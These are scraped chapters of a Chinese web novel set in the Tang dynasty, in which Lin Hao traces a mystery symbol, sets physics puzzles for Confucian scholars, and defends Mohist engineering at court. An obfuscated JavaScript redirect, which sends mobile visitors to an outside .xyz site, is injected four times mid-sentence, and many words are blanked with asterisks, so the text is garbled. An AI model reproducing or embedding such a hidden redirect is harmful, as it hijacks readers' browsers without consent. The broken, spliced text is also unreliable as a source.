“准。”李世民点头,“一个江湖骗子,能掀起什么风浪。”
林浩心中一动,补充道:“陛下,此人被捕时,曾对臣提及一个名字——天机阁。”
“天机阁?”李世民皱了皱眉,随即不屑地摆了摆手,“装神弄鬼之辈,惯会起些耸人听闻的名号。不必理会,审出他背后指使之人即可。”
皇帝显然没有将这个名字放在心上。
林浩却将这三个字牢牢记在了心里。
他有一种强烈的直觉,这绝不是一个简单的名字。
从皇宫出来,林浩没有片刻耽搁,直奔大理寺天牢。
天牢内阴暗潮湿,弥漫着一股血腥与霉味混合的恶臭。
在最深处的牢房里,林浩见到了玄机子。
这位在广场上仙风道骨的“高人”,此刻披头散发,身上的道袍被撕得破破烂烂,脸上满是血污和淤青,正蜷缩在角落的稻草堆里。
“天机阁,是什么地方?”林浩站在牢门外,冷冷地问道。
玄机子像是没听见,没有任何反应。
林浩也不着急,就这么静静地看着他。
过了许久,玄机子才缓缓抬起头,那双浑浊的眼睛里,居然透出一丝诡异的笑意。
他没有说话,只是伸出颤抖的手指,在满是污垢的地面上,吃力地画着什么。
那是一个符号,一个由几条曲线和圆点组成的、看起来毫无规律的奇特符号。
林浩的瞳孔猛地一缩。
这个符号他见过!
一模一样!
就在长孙无忌那块太上皇御赐的免死金牌背面!
长孙无忌、太上皇、太子、玄机子……这个符号,像一根无形的线,将所有人都串了起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391646|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来!
“说!这符号到底代表什么!”林浩的声音陡然提高。
玄机子脸上的笑容愈发诡异,他张了张嘴,似乎想说什么。
然而,下一刻,他的身体猛地一僵,双目圆瞪,眼角、鼻孔、嘴角、耳朵……七窍之中,同时涌出黑色的血液。
他喉咙里发出“咯咯”的怪响,身体剧烈地抽搐了几下,便彻底不动了。
人,就这么在林浩眼前,离奇地**。
牢头和狱卒吓得魂飞魄散,连滚带爬地跑了过来。
“侯……侯爷,不关小人的事啊!他……他自己就……”
林浩脸色阴沉得能滴出水来。
他没有理会吓傻的狱卒,目光死死锁定在玄机子尸体旁边的地面上。
在生命的最后一刻,玄机子用沾着自己黑血的手指,在那个符号旁边,写下了最后一个字。
“始”。
仵作很快赶到,一番查验后,得出了一个让所有人不寒而栗的结论:玄机子死于一种闻所未闻的速效剧毒,**入体即化,无色无味,根本无从追查来源。
有人在他的饭菜里下毒?还是他自己服毒?
林浩蹲下身,亲自检查玄机子的尸体。
他注意到玄机子贴身衣物的夹层,似乎有些异样。
他伸手一摸,从中抽出一张薄如蝉翼的纸条。
纸条是用某种特殊的药水浸泡过的,上面同样只有一个字:“始”。
手法干净利落,**灭口,不留任何痕迹。
林浩站起身,目光扫过在场的所有狱卒。
他清楚地记得,在他来之前,有一个狱卒正靠在玄机子的牢房门口,两人似乎有过一个极其短暂的眼神交流。
而此刻,那个狱卒,不见了。
“刚才守在这里的那个方脸狱卒呢?”林浩冷声问道。
牢头愣了一下,四下张望:“王二?刚才还在啊……许是去茅厕了?”
林浩心里一沉,他知道,人恐怕再也找不到了。
线索,再一次被强行掐断。
就在大理寺天牢乱成一团时,幽深寂静的东宫内,被禁足的李承乾正一脸颓然地坐在书案前。
突然,窗外传来一声极轻微的鸟鸣。
李承乾猛地抬头,走到窗边,看到窗台上放着一支小小的竹管。
他连忙取下竹管,从中倒出一卷纸条。
“殿下,游戏,才刚刚开始。”
第79章:考题一出,夫子当场傻眼
三日后,长安城,国子监旁。
“皇家科学院!”
一块由当今陛下李世民亲笔御赐的巨大匾额,在礼官高亢的唱喏声中,被八名禁军合力高高挂起。
三个烫金大字龙飞凤舞,在初秋的阳光下,几乎要闪瞎所有人的眼。
位置太扎眼了。
紧挨着国子监,这个天下所有读书人心中至高无上的圣地。
一个研究“奇技淫巧”的匠人窝,居然敢跟国子监脸贴着脸,这在所有儒生看来,不是挑衅,而是赤裸裸的羞辱!
伴随匾额落地的,还有一则昭告天下的圣意:皇家科学院,即日起面向大唐全境,不问出身,不限年龄,公开招募首批“天子门生”!
一石激起千层浪。
国子监内,祭酒孔颖达这位当世大儒,气得将手中的竹简重重砸在案上,发出“砰”的一声巨响。
“荒唐!滑天下之大稽!”他指着门外,对着满堂大儒博士怒斥,“以机巧之术为立学之本,此乃舍本逐末,玩物丧志!长此以往,圣人教化何在?我大唐国本何存?”
“孔祭酒息怒!”一名博士连忙起身附和,“下官听闻,那林浩妖言惑众,竟称格物便可知天下至理,这与‘君子不器’之古训背道而驰,分明是墨家余孽的邪说!”
“必须阻止他!”孔颖达在堂内来回踱步,长须不断抖动,“老夫这就**!绝不能让这股歪风邪气,污了长安的文风!”
一封由孔颖达领衔,数十名大儒联名签署的奏疏很快递进了皇宫,痛陈科学院“专研奇技淫巧,背离圣人教化,恐动摇国本”。
李世民收到后,只是淡淡地批了两个字:已阅。
既没同意,也没驳回。
但孔颖达等人的目的已然达到。
在他们的推动下,长安城内的**彻底倒向了国子监。
茶馆酒肆的说书人,把科学院编排成藏污纳垢的妖窟;太学里的学子们更是义愤填膺,日日作诗撰文,将科学院贬得一文不值,斥之为“匠人之学”,下九流的玩意儿。
于是,皇家科学院招生的第一天,场面尴尬到了极点。
偌大的府邸门口,负责登记的吏员打了三个哈欠,支着脑袋昏昏欲睡。
偶尔有几个衣衫褴褛的老工匠,在街对面探头探脑,眼里满是渴望。
可他们刚想靠近,就被周围路过的学子们投来的鄙夷眼神给逼了回去。
李丽质站在科学院的门内,看着这番景象,急得在门槛前来回踱步。
“林浩,你倒是说句话呀!”她忍不住抱怨,“他们这是铁了心要让我们办不下去!再这样下去,别说招募人才,我们自己都要成全长安的笑话了!”
林浩却像没事人一样,靠在门廊的朱红柱子上。
“林浩!”李丽质见他半天不语,急得跺了跺脚,又唤了一声。
“别急。”林浩终于开口,依旧是那副懒洋洋的样子,“他们不是觉得咱们不入流,觉得咱们的学问上不了台面吗?”
“去,拟一份战书,派人送到国子监!”
“战……战书?”吏员和李丽质同时惊呼出声。
林浩自顾自地说道:“战书上就这么写:三日之后,午时三刻,我皇家科学院将在国子监门前,举行首场公开招考。我林浩,愿以皇家科学院的存废为赌注,与国子监诸位大儒立下赌约!”
李丽质只觉得一阵天旋地转:“林浩,你疯了!?”
“赌约内容很简单,”林浩竖起一根手指,“考题由我科学院出,现场公布。只要国子监祭酒、博士、大儒……有一个算一个,只要他们中任何一人能答对我三成题目,我皇家科学院便当众承认学问不精、误人子弟,即刻关门解散,我林浩从此不再涉足格物之学!”
“你……你这是在豪赌!”李丽质的声音都在颤抖。
这已经不是挑衅了,这是把自己的所有身家性命都压在了赌桌上!
林浩终于笑了,他转向李丽质:“可如果,他们一成都答不出来呢?”
孔颖达和一众大儒看着手中的战书,先是死一般的寂静,随即,整个大堂爆发出雷鸣般的哄堂大笑。
“哈哈哈哈!老夫没看错吧?赌约?以科学院的存废为赌注?”
“只要答出三成?这黄口小儿,当真是狂妄到了不知死活的地步!”
“他这是生怕我们不去,主动把脖子伸到我们的刀下啊!这是自取灭亡!”一名博士笑得涕泪横流,“他以为考试考什么?考他那套摆弄水晶的戏法吗?我等浸淫圣贤书数十载,岂会被这等匠人伎俩难住!”
“应战!”孔颖达捋着花白的胡须,猛地一拍桌子,“去!告诉那竖子,他这个赌约,国子监接了!不仅老夫会亲自到场,监里所有博士、助教,一个不落,全都会去!”
“另外,把这份战书的内容,给我在全长安城传遍!老夫要让全城百姓都来做个见证,亲眼看看他林浩是如何自取其辱,亲手砸掉自己科学院牌子的!”
一场在所有人看来“必输无疑的疯狂赌局”,在国子监的大肆宣传下,瞬间成了整个长安城万众瞩目的焦点。
三日后,国子监门前。
孔颖达等十几位大儒,身着代表身份的祭酒、博士朝服,正襟危坐于考官席。
他们不仅带来了国子监最顶尖的学子,自己也准备随时下场,誓要将林浩的“歪理邪说”彻底扼杀在摇篮里。
午时三刻,钟声敲响。
林浩在一片肃杀的目光中,不紧不慢地走上考台。
他将目光直直投向孔颖达,朗声道:“孔祭酒,诸位大儒,约定之日已到。十道题,国子监只要有任何一人能答出三道,我林浩便承认格物之学乃是奇技淫巧,皇家科学院就此解散,永不复开!”
他一挥手,护卫将一块巨大的木板抬上高台,板上以黑布覆盖。林浩亲手抓住布角,猛地一扯!
“唰!”
黑布落下,十道以朱砂写就的题目,赫然出现在所有人面前!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391647|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>第一题:“今有千斤铜鼎,如何令一寻常壮汉,凭一己之力,将其抬起半尺?请述其法,绘其器。”
第二题:“长安城方圆百里,欲于城中建一高塔,自塔顶可尽览城郭四角。问,此塔最低需建多高?请述其理。”
第三题:“引渭水入长安,请构思一法,使其流遍全城主街,无需人力畜力时刻轮转。此法何解?”
第四题:“天晴之日,不攀爬,不动尺,如何精确丈量出大雁塔之高度?请述其法。”
第五题:“有一金冠,传为先朝之物,然疑似黄铜所伪。在不损伤金冠分毫之前提下,如何辨其真伪?请述其法。”
第六题:“有兵三名,贼三名,欲乘一小舟渡河,舟上每次仅容两人。兵在侧,若贼人数多于兵,则兵危。问,如何安然渡尽?”
第七题:“城外有盐碱之地百亩,颗粒无收。请述一法,如何改良土壤,使其变为可耕种之良田?”
第八题:“如何制一器物,可将极小之物(如蚁足之毫毛)清晰放大,映入眼帘?请述其理,绘其图。”
第九题:“如何制一器物,无需燃油,无需风力,便可自行指向南方?此物何解?”
第十题:“苹果熟则坠地,月亮悬于高空。为何苹果坠而月不坠?请述其理。”
全场死寂。
如果说前三道题只是让人感到荒谬和棘手,那么这全部十道题,则构建了一个凡人根本无法理解的世界。
丈量高塔、辨别真金、改良土地、放大微物……最后甚至问到了月亮为何不掉下来!
这哪里是考试?这简直是对世间所有读书人的公开拷问!
国子监的学子们脸色煞白,手里的笔重如千斤。
他们穷尽毕生所学,也无法在这十道题中找到任何与“子曰诗云”相关的蛛丝马迹。
孔颖达的身体抑制不住地颤抖起来。
他第一次感觉到,自己穷尽一生钻研的圣人学问,或许……真的触碰不到这个世界的真实面貌。
羞辱、愤怒、茫然、恐惧……种种情绪交织在一起,让这位大儒的脸色由青转紫,几欲吐血。
赌约的条件是十题中答对三题,可现在看来,别说三题,他们连一题的思路都摸不到!
眼看局面彻底僵住,林浩抓住时机,声音响彻全场:
“诸位,这就是我皇家科学院的学问!经义修心,格物强国!我皇家科学院,不培养坐而论道的书生,只培养经世致用的实干之才!这十道题的答案,就在我们脚下的大地和头顶的星辰之中!”
“今日,这十题,若有人能答出三题,即可为我皇家科学院第一批天子门生!”
人群后方,一只瘦骨嶙峋、沾满泥污的手,颤颤巍巍地举了起来。
万众瞩目之下,一个衣衫褴褛、蓬头垢面的少年,瘸着一条腿,费力地高举手臂。
不等护卫开口,那少年冲着高台大喊:
“大人,能不能......让我试试!”
第80章:乞丐吊打博士团,孔颖达当场破防
“让他试试?”
“哈哈哈哈!一个瘸腿的泥腿子,字都认不全吧?他要答题?”
“这是来砸场子的,还是来搞笑的?”
国子监门前,一众太学学子发出的哄笑声。
考官席上,孔颖达那张本就严肃的老脸,此刻更是黑如锅底。
“放肆!”猛地一拍桌案,“国子监乃圣人教化之地,岂容这等腌臢之辈在此撒野!来人,给老夫将他叉出去!”
几名维持秩序的禁军立刻上前,凶神恶煞地就要动手。
“慢着。”
林浩从高台上缓步走下,径直来到那瘸腿少年面前,“你叫什么名字?”
少年被这阵仗吓得有些发抖,怯生生地低下头:“回……回大人,小的叫墨三。”
“墨三。”林浩重复了一遍,然后问,“你真要试试?”
“嗯!”墨三猛地抬头,“大人,小的虽然不识几个大字,但……但这些题,小人真的都会做!”
“都会?”孔颖达气得笑出了声,花白的胡须都在颤抖,“好一个都会!林浩,你睁大眼睛看看!这就是你那科学院要招的人才?一个连圣贤书都没摸过的乞丐?这简直是滑天下之大稽!”
“没错!斯文扫地!斯文扫地啊!”
“让这等人谈学问,简直是对我等读书人的羞辱!”
周围的大儒博士们纷纷附和。
林浩却理都未理,他伸出手,轻轻扶住墨三的肩膀,将他从地上拉了起来。
“我皇家科学院,第一条规矩,便是不问出身,唯才是举。”他转过身,目光扫过对面那一排正襟危坐的大儒,“诸位既然觉得他不配,那今日,便让他用事实,来教教诸位,什么才叫学问!”
“好!”孔颖达怒极反笑,一甩袖子坐了回去,“老夫今日便拭目以待,看看你这泥腿子,能演出什么惊世骇俗的笑话来!”
在林浩的鼓励下,墨三一瘸一拐地走到了巨大的题板前。
“今有千斤铜鼎,如何令一寻常壮汉,凭一己之力,将其抬起半尺?”
他盯着题目看了许久,忽然转身对林浩喊道:“大人,能给小人一根结实的长木棍,再来块垫脚的石头吗?”
“木棍?石头?”
人群再次发出嗡嗡的议论声,所有人都摸不着头脑。
林浩一挥手,护卫很快就抬来一根足有成年人手臂粗的硬木长棍,和一块磨盘大小的青石。
墨三接过木棍,没急着动手,而是在地上来回比划,最后捡起一块拳头大的碎石,小心翼翼地放在青石边上。
他将长棍的一头深深地**青石底下,中间则稳稳地架在那块小小的碎石上。
他站到木棍的另一端,深吸一口气,用尽全身力气猛地向下一压!
“嘎吱——”
硬木长棍发出不堪重负的呻吟,肉眼可见地弯曲出一个惊人的弧度。
就在众人以为木棍即将折断的瞬间,那块起码有三四百斤重的青石,竟然真的被他硬生生撬得一端离地,足有半尺之高!
全场,死寂。
随即,爆发出山呼海啸般的惊呼!
“天!动了!真的动了!”
“他……他一个瘦得跟猴一样的少年,怎么可能撬得动这么重的石头!”
孔颖达和一众大儒的眼珠子都快瞪出来了。
他们身后的学子们,更是个个张大了嘴,忘了呼吸。
墨三挠了挠满是泥垢的后脑勺,有些不好意思地解释:“这……这其实没啥大学问。小人以前在码头上帮人扛活,见过老师傅们这么干。他们说,只要棍子够长,垫脚的石头位置找得对,再重的东西也能撬动。”
“这垫脚石,离重物越近,我这边就越省劲。小人试过好多次了,准没错。”
“一派胡言!”一名博士终于从震惊中反应过来,涨红着脸跳出来反驳,“此乃蛮力之巧,非圣人之学!也敢在此献丑?”
墨三被他吼得缩了缩脖子,没有争辩,只是默默地走向第二道题。
“不攀爬,不动尺,如何精确丈量出大雁塔之高度?”
他抬头望了望远处巍峨的大雁塔,又看了看头顶的太阳,随即向林浩讨来一根一米多长的直木棍,将其垂直插在身前的空地上。
阳光下,木棍投下了一道清晰的影子。
“小人以前跟着师傅盖房子,师傅教过,要想知道房梁有多高,不用爬上去,量量影子的长短就行。”
墨三蹲下身,用自己的脚步开始丈量木棍和它的影子,“这根棍子,是五尺长。它的影子,是三步远。”
“那座塔的影子,看着……大概是这棍子影子的……八十倍吧。那塔的高度,就是五尺的八十倍,四百尺!”
“荒唐!”孔颖达再也坐不住了,冷笑连连,“老夫在长安数十年,大雁塔建成时老夫亲临观礼,其高不过二百余尺,你竟敢在此信口雌黄,说它有四百尺?简直是笑话!”
“是不是笑话,一验便知。”林浩的声音淡淡传来,“来人,去将作监,将大雁塔的建造图纸取来!本侯倒要看看,它到底多高!”
一刻钟后,一名禁军骑着快马飞奔而回:“回……回禀侯爷!将作监图纸……图纸上白纸黑字写着,大雁塔连同塔顶宝刹,通高……通高三百三十尺!”
全场,再一次陷入了死一般的寂静。
四百尺,三百三十尺。
一个从未读过书的乞丐,仅凭目测和一根木棍,得出的结果与实际高度的误差,竟不到两成!
而当朝大儒孔颖达,凭着“亲眼所见”的记忆,却说它只有二百余尺!
“噗——”
孔颖达只觉得喉头一甜,一口气没上来,整个人晃了晃,差点从椅子上摔下去。
他身后的博士们连忙扶住他。
这已经不是在考试了。
这是在当着全长安百姓的面,一巴掌接着一巴掌,狠狠地抽在他们国子监所有读书人的脸上!
墨三却对周围的一切恍若未闻:“引渭水入长安……无需人力
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391648|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
畜力……”
“这个小人也干过!在山里,要把低处溪水引到山腰的田里,不能光挖渠。”
“拿一根长长的竹管,先把整根管子沉到水里,让它灌满了水。然后用手堵住两头,一头还放在溪水里,另一头拉到田里去,位置要比溪水的水面低一点。两只手同时松开,那水……那水自己就咕噜咕噜地流过去了!”
“胡说!”这次,一名年纪最长的博士几乎是嘶吼着站了起来,“水往低处流,此乃亘古不变之天理!岂有自行往高处攀越之可能!你……你这是妖法!是妖术!”
“是不是妖术,试试不就知道了?”林浩的声音冷得像冰。
很快,一盆水,一个空碗,一根中空的竹管被拿了上来。
在数万双眼睛的注视下,墨三熟练地将竹管灌满水,堵住两头,一端放入水盆,另一端垂入放在地上的空碗中。
当他松开手指的瞬间。
奇迹,发生了。
一股清澈的水流,仿佛拥有生命一般,顺着竹管向上攀升,越过盆沿,再向下流淌,最终“滴答、滴答”地落入空碗之中!
“流……真的流了!”
“天啊!水真的自己爬坡了!”
“这不是妖法!我爹在乡下就是这么引水的!只是……只是我们都以为这是老辈人传下的笨办法,没想到……这也是学问?”
人群彻底炸了!
尤其是那些来自底层的工匠和百姓,他们看着台上的少年,就像看到了自己。
那些被读书人鄙夷为“下九流”的谋生技巧,今天,却当众将圣贤门徒打得体无完肤!
孔颖达呆呆地看着那道水流,嘴唇哆嗦着,一个字也说不出来。
他一生引以为傲的圣贤学问,穷尽毕生钻研的经义文章,在这一刻,仿佛都成了一个笑话。
“不可能……这不可能……”
林浩走上高台,重重地拍了拍墨三的肩膀,声音响彻全场:
“好!非常好!从今日起,你便是我皇家科学院首位天子门生!”
“墨三这个名字,不用了。我赐你新名,墨顿!取茅塞顿开之意!”
墨顿激动得浑身颤抖,“噗通”一声跪倒在地,重重地磕了三个响头。
“多谢侯爷赐名!墨顿……墨顿永世不忘侯爷大恩!”
说着,他从怀里掏出一卷用油布小心包裹的兽皮手稿,双手高高举起。
“侯爷!小人……不,是墨顿!墨顿所有的本事,都是从这卷俺爹留下的手稿上学来的!它对墨顿没用了,请侯爷收下!”
林浩笑着伸手去接,本以为只是一些匠人的经验总结。
可当他的指尖触碰到那微凉的兽皮,随意展开一角时,他脸上的笑容,猛地凝固了。
在手稿的一个角落里,用烙铁烫印着一个无比熟悉的符号——
那个由几条曲线和圆点组成的、与长孙无忌免死金牌背面,与玄机子临死前画下的符号......
一模一样的神秘图腾!
第81章:墨家余孽?不,这是强兵利器
林浩收起手稿,手指轻抚过那个神秘符号。
表面上他依旧淡定如常,内心却掀起巨浪。
这个符号,从长孙无忌的免死金牌,到玄机子临死前的**,再到现在墨顿的祖传手稿——一条隐秘的线索正在浮出水面。
“今日招考到此结束,明日继续。”林浩朗声宣布,将手稿小心收入怀中。
孔颖达瘫坐在椅子上,花白的胡须还在微微颤抖。
他做梦也想不到,一个瘸腿乞丐竟能将他们这群饱学之士打得体无完肤。
更让他难以接受的是,那些被他们视为“奇技淫巧”的下九流把戏,今日却展现出了前所未有的威力。
“祭酒,您没事吧?”一名博士小心翼翼地扶住他。
孔颖达摆摆手,目光死死盯着林浩离去的背影。
忽然,他想起了什么,猛地直起身子。
“快!派人去查那个叫墨顿的乞丐!还有那卷手稿!”
当夜,国子监灯火通明。
一名须发皆白的老学究被连夜请来,他是长安城内少数几个对各家学说都有研究的宿儒。
“孔祭酒,您让老夫看的这些内容......”
老学究捧着从暗中抄录的手稿片段,越看越是心惊,“这......这分明就是墨家的学说啊!”
“墨家?”孔颖达的瞳孔猛地一缩。
“没错!”老学究指着手稿上的几行字,“这里讲的几何测量,这里说的力学原理,还有这个引水的虹吸之法......全都是墨家的绝学!”
孔颖达激动得浑身发抖:“你确定?”
“千真万确!老夫年轻时曾偷偷研读过一些墨家残篇,这些内容与之高度吻合。尤其是这个测量高度的方法,在《墨经》中就有明确记载!”
孔颖达哈哈大笑起来:“天助我也!林浩啊林浩,你再聪明又如何?敢在太岁头上动土,这次看你如何收场!”
他立刻提笔修书,连夜派人送往各位御史和保守派大臣府中。
一张针对林浩的大网,正在悄然张开。
次日早朝,太极殿内。
孔颖达一反昨日的颓丧,精神抖擞地站在文官队列前排。
他的身后,数十名御史和大臣同样神色严峻,显然早有准备。
李世民坐在龙椅上,目光扫过下方的文武百官。昨日科学院招考的事,他已经听说了。
“有事启奏,无事退朝。”
“启奏陛下!”孔颖达出列,声音洪亮,“臣有要事禀报!”
“讲。”
孔颖达深吸一口气,慷慨陈词:“陛下,昨日皇家科学院招考,臣亲眼目睹,其所招之人乃是墨家余孽!其所传之学,更是动摇国本的异端邪说!”
此言一出,朝堂哗然。
“墨家?”
“不是说墨家早就绝迹了吗?”
“这可是大事!”
李世民的脸色也严肃起来。
墨家在大唐是绝对的**禁忌,自汉武帝“罢黜百家,独尊儒术”以来,墨家学说就被视为异端。
“孔爱卿,此事关系重大,你可有确凿证据?”
“有!”孔颖达从袖中取出一卷纸稿,“这是昨日那个叫墨顿的乞丐所献手稿的抄录。经臣彻夜研究,其中内容与墨家学说高度吻合!”
他将纸稿高举过头:“陛下请看,这里讲的几何测量,这里说的力学原理,无一不是墨家绝学!”
御史台的官员立刻跟进:“陛下,墨家主张‘非攻’、‘兼爱’,与我朝‘忠君’、‘孝亲’的治国理念背道而驰!若任其传播,必将动摇国本!”
“臣请陛下下旨,立刻取缔皇家科学院!”
“并以‘私藏**,传播邪说’之罪,将林浩与那墨顿一同下狱问罪!”
一时间,**之声此起彼伏,整个朝堂都被这股汹涌的攻势所席卷。
李世民的脸色越来越难看。
他虽然欣赏林浩的才能,但墨家在**上确实是不可触碰的红线。
后殿中,李丽质隔着珠帘听着朝堂上的争论,手心里全是冷汗。
她知道,这已经不是学术之争,而是要命的**死罪。
“林浩......”她在心中为他捏了一把汗。
就在这时,林浩平静地出列了。
“臣林浩,有话要说。”
孔颖达冷笑:“林浩,事到如今,你还有何话可说?”
林浩没有看他,而是直视着龙椅上的李世民:“陛下,孔祭酒所言非虚。那卷手稿中,确实有墨家思想的影子。”
此言一出,支持林浩的官员都大惊失色。
这不是不打自招吗?
孔颖达更是得意洋洋:“听见了吗?他自己都承认了!”
林浩却神色不变,继续说道:“但臣请问诸位,墨家学说中,可曾有半句反朝廷、反陛下之言?”
“这......”孔颖达一愣。
“墨家讲究兼爱,这与陛下爱民如子有何冲突?墨家主张非攻,这与陛下止戈为武又有何不符?”
林浩的声音在太极殿中回荡,愈发掷地有声,“更何况,臣今日要为陛下展示的,不是墨家的**理念,而是其中有益于国家的实用技术!”
说罢,他转身,对着李世民拱手一拜:“为向陛下证明墨家之学绝非虚言,臣斗胆,已将一位深谙此道的墨家子弟带到殿外等候。恳请陛下圣裁,宣其上殿,为陛下与诸位大人展示一番!”
李世民眉头一挑,沉声道:“哦?你如此有把握?好,朕倒要看看,是何等经天纬地之才。宣!”
“喏!”旁边的内侍立刻高声唱道:“宣——殿外墨者,墨顿上殿!”
很快,一个略显瘦弱的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391649|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身影跟在内侍身后,紧张而又敬畏地走入大殿。
墨顿深吸一口气,压下心中的惶恐,快步上前跪倒:“草民墨顿,叩见陛下!”
林浩适时开口:“墨顿,请为陛下和诸位大人讲解一下,你从手稿中学到的城防体系。”
“是......是!”墨顿有些结巴,但还是强迫自己镇定下来,从怀中取出一叠画满了各种线条和角度的纸张:“启奏陛下,草民在手稿中学到一种方法,能让城墙的守军用最少的**箭,射杀最多的敌人。”
“哦?”李世民真的来了兴趣,身体微微前倾。
“陛下请看,如果敌军攻城,我军在城头这样摆放**机......”
墨顿用简单的几何图形,清晰地展示了如何通过角度计算,让**箭形成交叉火力网,最大化杀伤效果。
此言一出,就连素来沉稳的兵部尚书李靖眼中都闪过一丝惊异。
更不用说程咬金、尉迟恭等一众悍将,个个听得两眼放光,呼吸都急促起来。
这种战术思维,简直是天才般的构想!
“还有这个。”墨顿又翻到另一页,“如果要建造更坚固的城墙,不是越厚越好,而是要这样设计角度......”
他用数学模型解释了力的分散原理,如何让城墙在用料最省的情况下,承受最大的冲击力。
朝堂上一片寂静,所有人都被这种前所未见的军事理论震撼了。
那些原本对墨家嗤之以鼻的文臣,此刻也说不出半句反驳的话来。
林浩抓住时机,目光如炬,再次望向孔颖达:“请问孔祭酒,能强我大唐军备,护我边疆百姓的学问,为何是邪说?”
孔颖达张了张嘴,却说不出话来。
“仅仅因为它千年前的名字叫墨吗?”
林浩步步紧逼,“那臣请问,如果有一种药能治病救人,我们是该在乎它的出处,还是该在乎它能否救命?”
“如果有一种技术能让我大唐的将士少死一些,让边关的百姓多一分安全,我们是该纠结于它来自哪家学说,还是该想方设法为我所用?”
孔颖达被问得哑口无言,只能反复强调:“祖宗之法不可变!祖宗之法不可变!”
“祖宗之法?”林浩冷笑,“那请问孔祭酒,太宗皇帝设立科举制时,可曾问过祖宗之法?陛下推行均田制时,可曾拘泥于祖宗之法?”
“国家兴亡,匹夫有责。能让大唐更强的学问,就是好学问!能让百姓更安的技术,就是好技术!”
朝堂上响起了赞同的声音,尤其是武将集团,几乎全都站在了林浩这边。
李世民沉默了许久,所有人都在等待着这位皇帝的最终决断。
就在这时,李世民缓缓开口,说出了一个谁也想不到的话:
“朕有一个提议。”
第82章:儒墨之争,静待蝗起
太极殿内。
所有人的目光都汇聚在龙椅之上,等待着大唐最高统治者的最终裁决。
孔颖达的心提到了嗓子眼,他身后的一众御史和大臣更是大气都不敢出。
他们已经将林浩逼到了绝路,只要陛下一句话,这个搅动长安风云的凉州侯,连同他那所谓的皇家科学院,就将彻底灰飞烟灭。
李世民的手指在龙椅的扶手上轻轻敲击着,一下,又一下。
一边是孔颖达为首的儒家集团,代表着传承千年的治国正统。
另一边是林浩和他身后那个瑟瑟发抖的墨家少年,代表着一种前所未见、却又展现出惊人潜力的实用之学。
直接取缔科学院?那等于否定了自己之前的支持,更是将强兵利器的技术拒之门外。
可若公然支持墨家?那无异于与整个士林为敌,动摇国本。
这,是一个死结。
但对于李世民而言,死结,往往也意味着新的机会。
“皇家科学院与国子监,皆为我大唐培育人才之所。既然双方在教化理念上有所分歧,那便不必在朝堂上做口舌之争。”
李世民的目光扫过孔颖达,又落在林浩身上,“朕决定,由皇家科学院与国子监,举行一场儒墨大比。”
儒墨大比?!
这四个字一出,满朝文武尽皆哗然。
孔颖达先是一愣,随即眼中爆发出狂喜的光芒。
比试?这简直是天赐良机!
跟他们国子监比学问?林浩那套东西,不过是些工匠的把戏,如何能登大雅之堂!
李世民没有理会众人的议论,继续说道:“大比分三场。第一场,格物,比勘察万物、解决实际难题之能。第二场,经武,比排兵布阵、强军卫国之策。第三场,安邦,比经世济民、长治久安之道。”
“三场比试,两胜为胜。胜者,将主导未来三年,大唐官学人才的培养方向与选拔标准!”
轰!
如果说刚才只是哗然,现在整个太极殿彻底沸腾了。
主导未来三年官学的人才培养方向!
这已经不是简单的学术之争了,这是国本之争!是路线之争!
是未来数十年,大唐帝国权力核心由何种人才构成的根本问题!
“臣,遵旨!”孔颖达激动得满脸通红,对着龙椅深深一拜,“国子监,欣然应战!”
林浩平静地拱手:“臣,遵旨。”
李世民满意地点了点头,宣布退朝。
消息如同长了翅膀,瞬间飞遍了长安城的每一个角落。
国子监与皇家科学院的“儒墨大比”,立刻成了全城最热门的话题。
在孔颖达等人的有意推动下,**几乎呈一边倒的态势。
“听说了吗?国子监要和那个什么科学院比试治国大道!”
“这不是欺负人吗?林侯爷或许懂些造东西的本事,可论起经义策论,跟国子监那帮大儒比,不是以卵击石?”
“正是!此乃圣贤教化与奇技淫巧的国本之争,我辈读书人,当誓死捍卫圣贤之道!”
就在这股**浪潮达到顶峰时,孔颖达又抛出了一个重磅**。
